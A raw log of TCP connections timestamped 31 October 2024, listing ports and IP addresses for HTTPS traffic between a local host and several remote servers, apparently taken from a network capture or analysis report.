Oct 31, 2024 01:18:45.196877956 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.196935892 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.203198910 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.206733942 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.207293987 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.207309008 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.208059072 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.208062887 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.211723089 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.211776018 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.211886883 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.212268114 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.212281942 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.212291956 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.212300062 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.214351892 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.214413881 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.215481997 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.218372107 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.218415022 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.218462944 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.218694925 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.218694925 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.218713045 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.218723059 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.219470024 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.219482899 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.230104923 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.230144978 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.230200052 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.230879068 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.230892897 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.232502937 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.232533932 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.232626915 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.233042002 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.233057976 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.233059883 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.233083010 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.233112097 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.233134031 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.233155966 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.233171940 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.233198881 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.233232021 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.233288050 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.233895063 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.233906031 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.243340015 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.251276016 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251292944 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251347065 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251347065 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.251364946 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251386881 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.251399040 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.251404047 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251440048 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251609087 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.251616001 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.251626968 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.318054914 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.318141937 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.318209887 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.318236113 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.318267107 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.318335056 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.318631887 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.318648100 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.318660975 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.318667889 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.322565079 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.322602987 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.322669029 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.322817087 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.322827101 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.337613106 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.337805986 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.337866068 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.339615107 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.339618921 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.346509933 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.346535921 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.346609116 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.346867085 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.346894979 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.346947908 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347270012 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347285032 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.347337008 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347444057 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347464085 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.347593069 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347765923 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.347774029 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.347848892 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348021984 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348030090 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.348071098 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348272085 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348284960 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.348654032 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348669052 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.348756075 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348768950 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.348860025 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.348875999 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.349081993 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.349093914 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.349347115 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.349356890 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.352766037 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.352798939 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.352876902 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.353246927 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.353262901 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.427285910 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.427326918 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.427440882 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.427939892 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.427953959 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.434257030 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.434277058 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.434293985 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.434335947 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.434362888 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.434375048 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.434403896 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.455246925 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.455264091 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.455338001 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.455344915 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.455388069 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.554023981 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.554049969 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.554099083 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.554107904 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.554136992 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.554161072 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.574409008 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.574426889 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.574487925 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.574495077 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.574533939 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.574552059 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.576767921 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.576786995 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.576848984 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.576855898 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.576900005 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.658288956 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.658308029 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.658379078 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.658394098 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.658440113 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.674427032 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.674452066 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.674535990 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.674546957 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.674613953 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.692852020 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.692878008 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.692979097 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.693002939 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.693078041 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.694365978 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.694386005 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.694478989 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.694485903 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.694571972 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.695440054 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.695456982 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.695583105 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.695590019 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.695673943 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.697127104 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.697144985 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.697210073 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.697216034 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.697253942 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.730470896 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.731762886 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.731786966 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.732798100 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.732861996 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.733004093 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.733021975 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.733086109 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.733093023 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.733134031 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.734793901 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.734864950 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.735341072 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.735351086 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.792787075 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.792807102 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.792886019 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.792892933 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.792937994 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.792958975 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.794135094 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.794156075 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.794207096 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.794214010 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.794253111 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.795418978 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.795440912 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.795480967 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.795485973 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.795516968 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.795542002 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.812005043 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.812022924 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.812103033 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.812109947 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.812154055 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.813167095 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.813182116 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.813268900 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.813276052 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.813324928 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.814507008 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.814522028 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.814590931 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.814596891 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.814644098 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.815531969 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.815572023 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.815596104 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.815602064 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.815663099 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.815975904 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.815988064 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.849690914 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.893556118 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.893590927 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.893662930 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.894634008 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.894648075 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.921592951 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.957624912 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.957892895 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.957915068 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.958959103 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.959028006 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.960203886 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.960268974 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.960659027 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.960668087 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.961549997 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.961770058 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.961781025 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.962529898 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.962583065 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.962645054 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.962779045 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.962791920 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.962816000 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.962871075 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.962944031 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.962959051 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.963495970 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.963568926 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.963716030 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.964481115 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.964533091 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.965081930 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.965184927 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.965194941 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.965373993 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.965378046 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.965508938 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.965517998 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.965595007 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.965816021 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.966387987 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.966465950 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.966489077 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.966559887 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.966619968 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.966701984 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.966711044 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.966798067 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.966820955 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.967008114 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.967066050 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.967118979 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.967125893 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.967591047 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.967654943 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.967720032 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.967768908 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.968324900 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.968810081 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.968872070 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.968908072 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.968921900 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.969002962 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:45.969011068 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:45.969547987 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.969552994 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.969629049 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.969659090 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.970187902 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.970195055 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.971107960 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.971127987 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.971215010 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.971513033 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:45.971525908 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:45.974466085 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.978260994 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.978283882 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.978760958 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.978766918 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.007333040 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.015326977 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.067779064 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.068540096 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.068557978 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.069238901 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.069243908 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.082603931 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.083163023 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.083197117 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.083667994 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.083676100 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.093775034 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.093842983 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.094074965 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.095308065 CET	49910	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.095331907 CET	443	49910	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.096451998 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.096514940 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.096790075 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.097569942 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.097614050 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.097626925 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.097640038 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.097682953 CET	49913	443	192.168.2.5	23.47.194.65
